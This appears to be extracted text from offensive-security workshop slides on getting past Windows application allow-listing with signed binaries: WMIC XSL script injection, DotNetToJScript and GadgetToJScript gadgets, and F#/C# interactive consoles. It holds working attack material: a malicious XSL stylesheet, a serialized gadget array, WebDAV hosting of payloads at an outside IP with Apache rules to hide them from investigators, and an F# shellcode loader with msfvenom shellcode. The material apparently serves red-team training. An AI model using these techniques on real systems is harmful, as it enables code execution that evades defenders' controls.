
 [Readme](#)

 [GPL-2.0 License](#)

---

**Releases**

No releases published

---

**Packages**

No packages published

---

**Contributors** 2

 [infosecn1nja](#) Rahmat Nurfauzi

---

**Languages**

<https://github.com/infosecn1nja/MaliciousMacroMSBuild>

# LIMITATIONS

- Not too many. You can exec arbitrary C# code without any CLI args.
- The custom tasks approach might not get past certain AWL products since it requires dropping an untrusted dll to disk.

# WMIC

# WMIC

- Where is it installed?
  - Essentially all versions of Windows have wmic installed
  - C:\Windows\System32\wbem\wmic.exe
  - C:\Windows\SysWOW64\wbem\wmic.exe
- What does it stand for?
  - Windows Management Instrumentation Command-Line
- Pronounced “Whim-ihk”
- What does WMIC do?
  - Remotely (or locally) gather data about a system via WMI (Windows Management Instrumentation)
  - Primarily used by sysadmins

# WMIC

- For Example, you can use wmic.exe to return a list of running processes on a system
  - wmic process get

```
Win32_Process
 20180312213053.070407-360 Win32_ComputerSystem TITAN slack.exe
cal\slack\app-3.0.5\slack.exe
 23906250      1380        200          slack.exe
2_OperatingSystem Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Hddisk0\Partition3 36826
 197820      168656       1072        197648        1236602880    287360
03744        4452        66           717          82            771
 5839        9452276      1           13356696
10.0.16299    265019392     8865
slack.exe      "C:\Users\ctrun\AppData\Local\slack\app-3.0.5\slack.exe" --type=renderer --disable-pin
ch --no-sandbox --primordial-pipe-token=DEAB6C1C9EEA78AFE9EB39234B146163 --lang=en-US --standard-schemes=slack-resources
,slack-sounds,slack-webapp-dev --app-user-model-id=com.squirrel.slack.slack --app-path="C:\Users\ctrun\AppData\Local\sla
ck\app-3.0.5\resources\app.asar" --enable-experimental-web-platform-features --node-integration=false --webview-tag=fals
e --no-sandbox --preload="C:\Users\ctrun\AppData\Local\slack\app-3.0.5\resources\app.asar\src\static\ssb-interop.js" --d
evice-scale-factor=2 --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,355
3;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,35
53;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,35
53;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,
5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,355
3;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,35
53;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,35
53;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=DEAB6C1C9EEA78A
FE9EB39234B146163 --renderer-client-id=11 --mojo-platform-channel-handle=3804 /prefetch:1
```

# WMIC

- An extra flag that wmic.exe supports with select commands is the /format flag
  - wmic process get /format:list
- The /format flag is used to format the output that wmic returns

```
Caption=slack.exe
CommandLine="C:\Users\ctrun\AppData\Local\slack\app-3.0.5\slack.exe" --type=renderer --disable-pinch --no-sandbox --primary-pipe-token=2A369E86D452E0C908746460C265422D --lang=en-US --standard-schemes=slack-resources,slack-sounds,slack-web-app-dev --app-user-model-id=com.squirrel.slack.slack --app-path="C:\Users\ctrun\AppData\Local\slack\app-3.0.5\resources\app.asar" --enable-experimental-web-platform-features --node-integration=false --webview-tag=false --no-sandbox --preload-ad="C:\Users\ctrun\AppData\Local\slack\app-3.0.5\resources\app.asar\src\static\ssb-interop.js" --device-scale-factor=2 --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553 --service-request-channel-token=2A369E86D452E0C908746460C265422D --renderer-client-id=19 --mojo-platform-channel-handle=4344 /prefetch:1
CreationClassName=Win32_Process
CreationDate=20180312213231.924961-360
CSCreationClassName=Win32_ComputerSystem
CSName=TITAN
Description=slack.exe
ExecutablePath=C:\Users\ctrun\AppData\Local\slack\app-3.0.5\slack.exe
ExecutionState=
Handle=1564
HandleCount=171
```

# WMIC

- Casey Smith (@SubTee) discovered that you can pass an XSL file extension, which is essentially a CSS style sheet for XML, to the /format flag
- This can help modify the format provided by the WMI call through WMIC
- This also provides an area for a code injection attack

# WMIC

```
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:js="urn:the-xml-files:xslt-js"
  xmlns:user="placeholder" version="1.0">

  <ms:script implements-prefix="user" language="JScript">
    <![CDATA[

      var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

    ]]> </ms:script>

</xsl:stylesheet>
```

# WMIC

- Command:
  - **wmic.exe process get /format:malicious.xsl**
    - You can use mostly any WMIC command instead of “process get”. The key is passing the malicious XSL file to the /format flag.
    - The XSL file path **MUST** be in quotes if calling an xsl file from outside the current directory
    - Use can insert JScript, VBScript, or even custom C# (via DotNetToJScript or GadgetToJScript)

# HANDS-ON EXERCISE #4


**Step 1: Grab the WMIC XSL file located here:**

- /Presentations/grayhatcon2020/calc.xsl

**Step 2: Run the WMIC XSL file on your Windows VM or host to pop calc**

- C:\Windows\System32\wbem\wmic.exe process get /format:calc.xsl

# **DEMO FOR EXERCISE #4**



# DOTNETTOJSCRIPT

tyranid / DotNetToJScript

Code Issues 1 Pull requests 1 Projects 0 Wiki Insights

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A tool to create a JScript file which loads a .NET v2 assembly from memory.

26 commits 1 branch 4 releases 1 contributor GPL-3.0

Branch: master New pull request Create new file Upload files Find file Clone or download

tyranid Merge branch 'master' of github.com:tyranid/DotNetToJScript	Latest commit 69d1ddb on Oct 6, 2017
DotNetToJScript Merge branch 'master' of github.com:tyranid/DotNetToJScript	3 months ago
ExampleAssembly Added implementation	9 months ago
.gitattributes Added implementation	9 months ago

# DOTNETTOJSCRIPT

- Take a C# assembly and serialize it for use in a different language:
  - VBA
  - JScript
  - VBScript
  - ...see a language above that we could use?
- You literally have the ability to run C# code within several of these bypasses
- It's an awesome tool, but it's started to get detected, so we use an alternative.

# DOTNETTOJSCRIPT

Wmic	Uses wmic.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016.
Regsvr32	Uses regsvr32.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016.
Mshta	Uses mshta.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016.
Cscript	Uses cscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016.
Wscript	Uses wscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects (ala DotNetToJScript). Please note that DotNetToJScript-based launchers may not work on Windows 10 and Windows Server 2016.

# GADGETTOJSCRIPT

med0x2e / GadgetToJScript

Watch 11 Unstar 222 Fork 56

Code Issues 2 Pull requests 0 Actions Projects 0 Wiki Security Insights

A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts.

14 commits 1 branch 0 packages 0 releases 1 contributor GPL-3.0

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 med0x2e Added Support to generate VBA scripts (hex or b64 encoded gadgets) Latest commit 5ac70f6 on Oct 25, 2019

 GadgetToJScript Added Support to generate VBA scripts (hex or b64 encoded gadgets) 6 months ago

 packages/NDesk.Options.0.2.1 Removing unnecessary packages 7 months ago

# GADGETTOJSCRIPT

- A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS based scripts. The gadget being used triggers a call to Assembly.Load when deserialized via jscript/vbscript, this means it can be used in the same way to trigger in-memory load of your own shellcode loader at runtime
- Basic Ideas:
  - DotNetToJScript serializes .NET assemblies, deserializes it and then dynamically invokes it
  - GadgetToJScript serializes .NET assemblies in such a way that when it is deserialized, it triggers the load and execution of the .NET assembly (we're not calling Dynamic Invoke).
  - Similar to ysoserial

# GADGETTOJSCRIPT

rasta-mouse / GadgetToJScript

forked from med0x2e/GadgetToJScript

Code Pull requests 0 Actions Projects 0 Wiki Security Insights

A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts.

17 commits 1 branch 0 packages 0 releases 2 contributors GPL-3.0

Branch: master ▾ New pull request Create new file Upload files Find file Clone or download ▾


This branch is 3 commits ahead of med0x2e:master. Pull request Compare

 rasta-mouse Rename TestClass Latest commit 326b7a6 on Feb 19

 GadgetToJScript OCD Cleanup 2 months ago

 TestPayload Rename TestClass 2 months ago

 packages/NDesk.Options.0.2.1 Removing unnecessary packages 7 months ago



# GADGETTOJSCRIPT

- RastaMouse's version is soooooooo much easier to use
- Step 1:
  - Create a C# file with a public class and public method\* of the same name
    - \*Technically, you're created a constructor
- Step 2:
  - GadgetToJScript.exe -i yourcode.cs -r references\_assemblies -w js -o out -f

# GADGETTOJSCRIPT

The screenshot shows a development environment with two windows. On the left is a code editor window titled 'c.cs' containing C# code. On the right is a terminal window titled 'C:\Windows\System32\cmd.exe' showing the output of a command.


**Code Editor (c.cs):**

```
1  using System;
2  using System.Diagnostics;
3
4  public class Same
5  {
6      public Same()
7      {
8          Process.Start("calc.exe");
9      }
10 }
11
```

**Terminal (cmd.exe):**

```
C:\Users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>GadgetToJScript.exe -i calc.cs -w js -o out -f
C:\Users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>
```

# GADGETTOJSCRIPT



The screenshot shows a Windows Command Prompt window titled 'cmd.exe' running in the background. In the foreground, a code editor window for 'calc.cs' is open. The code contains a class named 'Same' which has a constructor also named 'Same'. This results in a compilation error:


```
C:\Windows\System32\cmd.exe
C:\Users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>GadgetToJScript.exe -i calc.cs -w js -o out -f
Unhandled Exception: System.InvalidOperationException: Error (CS0542): 'Same': member names cannot be the same as their
enclosing type: 6
   at GadgetToJScript.AssemblyLoader.Compile(String InputFile, String ReferenceAssemblies) in C:\Users\ponce\Desktop\Gad
getToJScript-master\GadgetToJScript\AssemblyLoader.cs:line 41
   at GadgetToJScript.Program.Main(String[] args) in C:\Users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\Prog
ram.cs:line 133
C:\Users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>
```

The code editor window displays the following C# code:

```
calc.cs
1  using System;
2  using System.Diagnostics;
3
4  public class Same
5  {
6      public void Same()
7      {
8          Process.Start("calc.exe");
9      }
10 }
11
```

# GADGETTOJSCRIPT

**Test your JScript to see if it works.**



The image shows a Windows desktop environment. In the foreground, there is a command prompt window titled ':\\Windows\\System32\\cmd.exe'. The window contains the following text:

```
users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>GadgetToJScript.exe -i calc.cs -w js -o out -f
users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>wscript out.js
users\ponce\Desktop\GadgetToJScript-master\GadgetToJScript\bin\Release>
```

In the background, partially visible behind the command prompt, is a standard Windows calculator window titled 'Calculator'. The calculator is set to 'Standard' mode and displays the number '0' on its screen.

# GADGETTOJSCRIPT

## ■ Add JScript to XSL file

```
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
  xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
  <!-- Copyright (c) Microsoft Corporation. All rights reserved. -->

  <xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
  <xsl:strip-space elements="*"/>

  <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
      var serialized_obj = [
        0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
        101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
        101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,48,83,121,115,116,101,109,46,
        68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
        103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
        122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
        101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
        0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,
        83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,
        121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,
        116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,
        104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,
        116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,
        68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,
        101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,
        101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,46,
        48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,
        101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,
        9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,
        68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,
        97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,
        97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,
        108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
        0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,
        114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
        0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
        101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,
        4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,
      ];
    
```

# HANDS-ON EXERCISE #5

**Step 1: Grab the WMIC XSL template, C# code and GadgetToJScript exe files located here:**

- /Presentations/grayhatcon2020/gadget.cs
- /Presentations/grayhatcon2020/calc.xsl
- /Presentations/grayhatcon2020/GadgetToJScript.exe

**Step 2: Run GadgetToJScript against the C# code.**


- GadgetToJScript.exe -i yourcode.cs -r references\_assemblies -w js -o out

**Step 3: Add JScript into XSL template**

**Step 4: Run the WMIC XSL file on your Windows VM or host to pop calc**

- C:\Windows\System32\wbem\wmic.exe process get /format:calc.xsl

# **DEMO FOR EXERCISE #5**



```
C:\Windows\System32\cmd.exe
C:\Users\User1\Desktop\Presentations-master\grayhatcon2020>GadgetToJScript.exe -i gadget.cs -w js -o out
The system cannot execute the specified program.

C:\Users\User1\Desktop\Presentations-master\grayhatcon2020>
```

# WMIC

- Like MSBuild, is there a way to remotely host our payload?
  - Sure!
- `wmic process get /format:"\\webdav\\server\\or\\network\\share\\file.xsl"`

# WMIC


- Consider using apache mod\_rewrite rules to ensure that only user agent strings that contain WebDav can access your file. This will help block some investigation of your awl payloads.

```
SetEnvIfNoCase User-Agent "^(!Microsoft-WebDAV-MiniRedir).*" goaway
<Location "/webdav/">
    <RequireAll>
        Require all granted
        require not env goaway
    </RequireAll>
</Location>

Alias /webdav /var/www/webdav
<Location /webdav>
    Options Indexes
    DAV on
    <LimitExcept GET HEAD OPTIONS PROPFIND>
        Deny from all
    </LimitExcept>
    Satisfy all
</Location>
```

# WMIC

## ■ What file extensions will this work with?



```
C:\Users\ponce>wmic process get /format:"\\204.48.21.236\webdav\wmic.xls"
ERROR:
Description = Unspecified error

C:\Users\ponce>wmic process get /format:"\\204.48.21.236\webdav\wmic"
ERROR:
Description = Unspecified error

C:\Users\ponce>wmic process get /format:"\\204.48.21.236\webdav\wmic.txt"
Invalid XSL format (or) file name.

C:\Users\ponce>wmic process get /format:"\\204.48.21.236\webdav\wmic.xml"
Invalid XSL format (or) file name.
```

**CSI / FSI**

# **CAVEAT**

**I HAVEN'T USED THIS ON AN ASSESSMENT YET.  
I'M ACTIVELY EXPERIMENTING WITH THIS, BUT THOUGHT I'D BE INTERESTING  
TO SHARE IN CASE YOU WANT TO TEST IT OUT TOO.**

The screenshot shows a web browser window with the following details:

- Title Bar:** Detecting attacks leveraging the .NET framework
- Address Bar:** redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/
- Header:** The Red Canary logo (a red bird icon next to the word "redcanary").
- Navigation:** DEMO >, WHAT WE DO, WHY RED CANARY, RESOURCES.
- Main Content:**

# Why F# and C# can be an issue for blue teams

If you aren't familiar with C# or F#, both of the development kits for these languages can be obtained from Microsoft via Visual Studio. Within these development kits are two interactive console utilities, better known as `csi.exe` and `fsi.exe`. These utilities allow for full scripting capabilities comparable to a tool like PowerShell. Additionally, you can create script files for both of these languages and execute them from a command line like the one below:

```
PS C:\FSharpTesting\test> fsi .\script.fsscript
simple test
PS C:\FSharpTesting\test> fsi test.fsx
simple test
PS C:\FSharpTesting\test> fsi test.fs

Microsoft (R) F# Interactive version 12.0.21005.1
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;
[Loading C:\FSharpTesting\test\test.fs]
simple test
namespace FSI_0002.test
```



bohops @bohops · Oct 21

Exploring the WDAC Microsoft Recommended Block Rules:

fsi.exe and fsianycpu.exe are SDK binaries that execute F# to bypass WDAC without block rules applied.

Credit [@NickTyrer](#) from 3 years ago with the fsi.exe code exec POC

[gist.github.com/NickTyrer/51eb...](https://gist.github.com/NickTyrer/51eb...)

```
c:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\CommonExtensions\Microsoft\FSharp>fsianycpu.exe c:\test\test.fsscript
ApplicationFrameHost
audiogd
browser_broker
cmd
conhost
csrss
csrss
csrss
ctfmon
dllhost
dllhost
dwm
dwm
explorer
fontdrvhost
fontdrvhost
fontdrvhost
fsiAnyCpu
Idle
LogonUI
lsass
Memory Compression
MicrosoftEdge

test.fsscript - Notepad
File Edit Format View Help
#r @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management
open System.Management.Automation
open System.Management.Automation.Runspaces
open System


let runSpace = RunspaceFactory.CreateRunspace()
runSpace.Open()
let pipeline = runSpace.CreatePipeline()

let getProcess = new Command("Get-Process")
pipeline.Commands.Add(getProcess)

let output = pipeline.Invoke()
for psObject in output do
psObject.Properties.Item("ProcessName").Value.ToString()
```



Nick Tyrer @NickTyrer · Sep 3, 2017



fsi.exe - microsoft signed binary for inline f# code execution. Included in SDK.

[gist.github.com/NickTyrer/51eb...](https://gist.github.com/NickTyrer/51eb...)



18

46





```
C:\Windows\System32\cmd.exe - fsi
Microsoft Windows [Version 10.0.17134.1792]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\User1\Downloads\fsi\fsi>fsi

Microsoft (R) F# Interactive version 10.7.0.0 for F# 4.7
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;
> #help;;
F# Interactive directives:

#r "file.dll";           Reference (dynamically load) the given DLL
#I "path";                Add the given search path for referenced DLLs
#load "file.fs" ....;     Load the given file(s) as if compiled and referenced
#time ["on"|"off"];        Toggle timing on/off
#help;;                   Display help
#quit;;                  Exit

F# Interactive command line options:

See 'fsi --help' for options

>
```



- **C# REPL Command-Line Interface = CSI.EXE**
- **F# REPL Command-Line Interface = FSI.EXE**
- **You can create scripts in C# or F#**
  - Yes, scripts. Just like PowerShell or Python.
- **We can use one of these executables to either run a script or interactively run one-liners.**




## ■ Requirement (Option One)

### ■ Visual Studio Installed

This PC > Local Disk (C:) > Program Files (x86) > Microsoft Visual Studio > 2019 > Professional > Common7 > IDE > CommonExtensions > Microsoft > FSharp >			
	Name	Date modified	Type
Desktop	FSharp.Data.TypeProviders.dll	3/5/2020 4:03 AM	Application extension
Downloads	FSharp.Editor.dll	3/5/2020 4:03 AM	Application extension
Documents	FSharp.Editor.Helpers.dll	3/5/2020 4:03 AM	Application extension
Pictures	FSharp.Editor.Helpers.pkgdef	3/5/2020 4:03 AM	Package Definition R...
csi.exe	FSharp.Editor.pkgdef	3/5/2020 4:03 AM	Package Definition R...
hot-manchego	FSharp.LanguageService.Base.dll	3/5/2020 4:03 AM	Application extension
SampleApp.Core	FSharp.LanguageService.Base.pkgdef	3/5/2020 4:03 AM	Package Definition R...
sharperpower	FSharp.LanguageService.dll	3/5/2020 4:03 AM	Application extension
OneDrive	FSharp.LanguageService.pkgdef	3/5/2020 4:03 AM	Package Definition R...
This PC	FSharp.PatternMatcher.dll	3/5/2020 4:03 AM	Application extension
3D Objects	FSharp.ProjectSystem.Base.dll	3/5/2020 4:03 AM	Application extension
Desktop	FSharp.ProjectSystem.Base.pkgdef	3/5/2020 4:03 AM	Package Definition R...
Documents	FSharp.ProjectSystem.FSharp.dll	3/5/2020 4:03 AM	Application extension
Downloads	FSharp.ProjectSystem.FSharp.pkgdef	3/5/2020 4:03 AM	Package Definition R...
Music	FSharp.ProjectSystem.PropertyPages.dll	3/5/2020 4:03 AM	Application extension
Pictures	FSharp.ProjectSystem.PropertyPages.pkgdef	3/5/2020 4:03 AM	Package Definition R...
Videos	FSharp.UIResources.dll	3/5/2020 4:03 AM	Application extension
Local Disk (C:)	FSharp.VS.FSI.dll	3/5/2020 4:03 AM	Application extension
	fsi	3/5/2020 4:03 AM	Application
65 items   1 item selected 122 KB			

# FSI/CSI


- Requirement (Option Two)
  - Copy/Paste DLLs and FSI.exe to the target machine



# FSI VS. CSI

- CSI.exe is known tradecraft. My sense is it's not used heavily, but I've seen defenders keep an eye out for it. I haven't seen the same for FSI.exe.
- I'd imagine folks are more comfortable coding in C# than F#, so most will default to trying CSI first.
- They're seemingly functionally equivalent.

# FSI



# FSI

The screenshot shows two windows side-by-side. On the left is a Notepad window titled 'calc.cs - Notepad' containing C# code. On the right is a command-line window titled 'C:\Windows\System32\cmd.exe - fsi' showing the execution of F# Interactive.

**Notepad Content (calc.cs):**

```
calc.cs - Notepad
File Edit Format View Help
using System;
using System.Diagnostics;

public class This
{
    public This()
    {
        Process.Start("calc.exe");
    }
}
```

**cmd.exe Output:**

```
C:\Users\User1\Downloads\fsi\fsi>fsi
Microsoft (R) F# Interactive version 10.7.0.0 for F# 4.7
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;
> #r "calc.dll"
- ;;
--> Referenced 'C:\Users\User1\Downloads\fsi\fsi\calc.dll' (file may be locked by F# Interactive process)

> This();;

error FS0193: Could not load file or assembly 'file:///C:/Users/User1/Downloads/fsi/fsi/calc.dll' or one of its dependencies. Your organization used Device Guard to block this app. Contact your support person for more info. (Exception from HRESULT: 0x800711C7)
```



vysecurity / FSharp-Shellcode

Watch 1 Unstar 30 Fork 8

Code Issues Pull requests Actions Projects Wiki Security Insights

master FSharp-Shellcode / FSharp-Shellcode.fs Go to file ...

vysecurity rename to fs Latest commit 39e858d on Jun 5, 2018 History

1 contributor

35 lines (28 sloc) | 1.06 KB Raw Blame

```
1 open System
2 open System.Runtime.InteropServices
3 open System.Threading
4
5 [<DllImport "kernel32" >]
6 extern nativeint VirtualAlloc(
7     nativeint      lpStartAddress,
8     uint32        dwSize,
9     uint32        flAllocationType,
10    uint32        flProtect)
11
12 [<DllImport "kernel32" >]
13 extern nativeint CreateThread(
14     uint32        lpThreadAttributes,
15     uint32        dwStackSize,
16     nativeint      lpStartAddress,
17     uint32&       param,
18     uint32        dwCreationFlags,
19     uint32&       lpThreadId)
20
```

# Literals

08/15/2020 • 2 minutes to read •  +6

This article provides a table that shows how to specify the type of a literal in F#.

## Literal types

The following table shows the literal types in F#. Characters that represent digits in hexadecimal notation are not case-sensitive; characters that identify the type are case-sensitive.

Type	Description	Suffix or prefix	Examples
sbyte	signed 8-bit integer	y	<code>86y</code> <code>0b00000101y</code>
byte	unsigned 8-bit natural number	uy	<code>86uy</code> <code>0b00000101uy</code>



```
open System
open System.Runtime.InteropServices
open System.Threading

[<DllImport "kernel32" >]
extern nativeint VirtualAlloc(
    nativeint      lpStartAddress,
    uint32         dwSize,
    uint32         flAllocationType,
    uint32         flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateThread(
    uint32         lpThreadAttributes,
    uint32         dwStackSize,
    nativeint      lpStartAddress,
    nativeint      param,
    uint32         dwCreationFlags,
    uint32&        lpThreadId)

[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
    nativeint      hHandle,
    uint32         dwMilliseconds)

let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
```

```
//msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f csharp
//Find/Replace "," with "uy;", and then wrap all the shellcode in [|shellcode_goes_here|]

let mutable shellcode : byte[] = [|0x89uy;0xe6uy;0xdbuy;0xdauy;0xd9uy;0x76uy;0xf4uy;0x58uy;0x50uy;0x59uy;0x49uy;
0x49uy;0x49uy;0x49uy;0x49uy;0x43uy;0x43uy;0x43uy;0x43uy;0x37uy;0x51uy;0x5auy;0x6auy;
0x41uy;0x58uy;0x50uy;0x30uy;0x41uy;0x30uy;0x6buy;0x41uy;0x51uy;0x32uy;0x41uy;0x42uy;0x32uy;
0x42uy;0x42uy;0x30uy;0x42uy;0x41uy;0x42uy;0x58uy;0x50uy;0x38uy;0x41uy;0x42uy;0x75uy;0x4auy;0x49uy;
0x79uy;0x6cuy;0x68uy;0x68uy;0x4fuy;0x72uy;0x55uy;0x50uy;0x63uy;0x30uy;0x77uy;0x70uy;0x61uy;0x70uy;0x4euy;
0x69uy;0x4buy;0x55uy;0x55uy;0x61uy;0x79uy;0x50uy;0x70uy;0x64uy;0x4euy;0x6buy;0x42uy;0x70uy;0x50uy;0x30uy;
0x6cuy;0x4buy;0x32uy;0x72uy;0x66uy;0x6cuy;0x4euy;0x6buy;0x56uy;0x32uy;0x65uy;0x44uy;0x6cuy;0x4buy;0x42uy;
0x52uy;0x55uy;0x78uy;0x64uy;0x4fuy;0x38uy;0x37uy;0x50uy;0x4auy;0x54uy;0x66uy;0x56uy;0x51uy;0x6buy;0x4fuy;
0x6cuy;0x6cuy;0x75uy;0x6cuy;0x75uy;0x31uy;0x63uy;0x4cuy;0x36uy;0x62uy;0x44uy;0x6cuy;0x75uy;0x70uy;0x39uy;
0x51uy;0x4auy;0x6fuy;0x44uy;0x47uy;0x71uy;0x4fuy;0x37uy;0x42uy;0x6cuy;0x32uy;0x42uy;0x72uy;
